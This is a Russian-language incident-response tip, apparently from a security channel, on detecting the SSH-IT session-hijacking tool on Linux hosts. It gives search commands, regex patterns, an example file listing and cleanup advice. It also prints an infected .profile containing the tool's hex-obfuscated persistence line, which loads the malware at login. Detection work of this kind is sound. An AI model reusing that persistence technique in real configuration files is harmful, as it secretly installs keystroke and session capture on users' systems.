SSH-IT. Инструкция по обнаружению популярного инструмента 🔭
В процессе расследования множества инцидентов, связанных с компрометацией Linux-узлов, мы иногда обнаруживаем на них различные хакерские инструменты.
Сегодня поговорим об
SSH-IT. Хакеры часто используют его для перехвата SSH-сессий и получения вводимых пользователем команд.
Для обнаружения признаков установки инструмента на узлах ищите:
1. Файлы по паттерну: '/prng/((askpass|hook|x|ssh_login)\.sh|depth\.cfg|funcs|ptyspy_bin\.[a-z_0-9]+\-(linux|alpine|osx)|seed|ssh|thc_cli)':
find / -type f | egrep -a '/prng/((askpass|hook|x|ssh_login)\.sh|depth\.cfg|funcs|ptyspy_bin\.[a-z_0-9]+\-(linux|alpine|osx)|seed|ssh|thc_cli)'
🧐
Пример:/home/john/.config/prng/askpass.sh
/home/john/.config/prng/depth.cfg
/home/john/.config/prng/funcs
/home/john/.config/prng/hook.sh
/home/john/.config/prng/ptyspy_bin.aarch64-linux
/home/john/.config/prng/ptyspy_bin.armv6l-linux
/home/john/.config/prng/ptyspy_bin.i386-alpine
/home/john/.config/prng/ptyspy_bin.mips32-alpine
/home/john/.config/prng/ptyspy_bin.mips64-alpine
/home/john/.config/prng/ptyspy_bin.x86_64-alpine
/home/john/.config/prng/ptyspy_bin.x86_64-osx
/home/john/.config/prng/seed
/home/john/.config/prng/ssh
/home/john/.config/prng/ssh_login.sh
/home/john/.config/prng/thc_cli
/home/john/.config/prng/x.sh
2. Файлы, через которые может осуществляться закрепление в системе и в которых встречаются строки по паттерну: '# DO NOT REMOVE THIS LINE\. SEED PRNGD|source.+2\>/dev/null #PRNGD'
egrep -aor '# DO NOT REMOVE THIS LINE\. SEED PRNGD|source.+2\>/dev/null #PRNGD' /
👀
Пример (файл /home/john/.profile)
:"# ~/.profile: executed by the command interpreter for login shells.
# DO NOT REMOVE THIS LINE. SEED PRNGD.
source "$(echo 2f686f6d652f6a6f686e2f2e636f6e6669672f70726e672f736565640a|/usr/bin/xxd -r -ps 2>/dev/null)" 2>/dev/null #PRNGD
# This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login
# exists.
# see /usr/share/doc/bash/examples/startup-files for examples.
# the files are located in the bash-doc package.
# the default umask is set in /etc/profile; for setting the umask
# for ssh logins, install and configure the libpam-umask package.
#umask 022
# if running bash
if [ -n ""$BASH_VERSION"" ]; then
# include .bashrc if it exists
if [ -f ""$HOME/.bashrc"" ]; then
. ""$HOME/.bashrc""
fi
fi
# set PATH so it includes user's private bin if it exists
if [ -d ""$HOME/bin"" ] ; then
PATH=""$HOME/bin:$PATH""
fi
# set PATH so it includes user's private bin if it exists
if [ -d ""$HOME/.local/bin"" ] ; then
PATH=""$HOME/.local/bin:$PATH""
fi"
📃
Рекомендации по дальнейшим действиям:1️⃣ Заблокировать адреса управляющих серверов;
2️⃣
Удалить файлы, относящиеся к SSH-IT, а также изменить файлы, через которые SSH-IT закрепился в системе;
3️⃣ Перезагрузить скомпрометированный хост;
4️⃣ Осуществить поиск подозрительных входов по сети и проверку логов веб-сервера (если он есть и торчит наружу).
#tip #detect #hacktool #dfir
@ptescalator